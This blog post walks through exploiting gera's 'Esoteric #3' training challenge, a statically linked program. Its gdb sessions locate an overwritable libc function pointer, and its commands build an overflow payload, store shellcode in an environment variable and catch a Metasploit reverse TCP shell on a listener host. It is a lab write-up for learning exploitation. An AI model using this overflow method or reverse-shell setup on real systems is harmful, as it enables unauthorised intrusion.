Thursday, December 27, 2012

Esoteric #3 Redux

An old Chinese forum post reminded me that I didn't look at a statically compiled version of gera's Esoteric #3. 

[dennis@localhost es3]$ gcc -static -ggdb -o es3 es3.c
[dennis@localhost es3]$


Things are a bit different this time. 

(gdb) run `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) bt
#0  0x45454545 in ?? ()
#1  0x0804a36b in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3350
#2  0x0804a0ab in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3331
#3  0x0804866d in __add_to_environ (name=0x808db88 "ABO",
    value=0xbffffc71 "ZZZZ", combined=0x0, replace=1)
    at ../sysdeps/generic/setenv.c:234
#4  0x080488b2 in __setenv (name=0x808db88 "ABO", value=0xbffffc71 "ZZZZ",
    replace=1) at ../sysdeps/generic/setenv.c:263
#5  0x08048215 in main (argv=3, argc=0xbffffa64) at es3.c:10
#6  0x080482fe in __libc_start_main (main=0x80481e0 <main>, argc=3,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 a useful function pointer get overwritten. 

(gdb) break 10
Breakpoint 3 at 0x80481fe: file es3.c, line 10.
(gdb) run `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ

Breakpoint 3, main (argv=3, argc=0xbffffa64) at es3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x buf+264
0x80a3a88 <__libc_internal_tsd_set>:    0x41414141
(gdb)
0x80a3a8c <__libc_internal_tsd_get>:    0x42424242


(gdb) print __libc_internal_tsd_get
$2 = (void *(*)()) 0


As can be seen from the earlier backtrace, setenv() eventually calls realloc(). I didn't trace the libc code, but there has to be a code path from realloc() where it calls __libc_internal_tsd_get().

Onto the exploit. I start off with some shellcode in the environment. (I could of probably taken advantage of the ABO variable from the program itself, but it's easier to find the address this way.) 

[dennis@localhost es3]$ export ES3=`perl sc.pl`
[dennis@localhost es3]$ ./ev3
ES3 is at 0xbffffc28


The rest looks like this. 

[dennis@localhost es3]$ ./es3 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49704) at 2012-12-26 23:40:41 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es3



No comments:

Post a Comment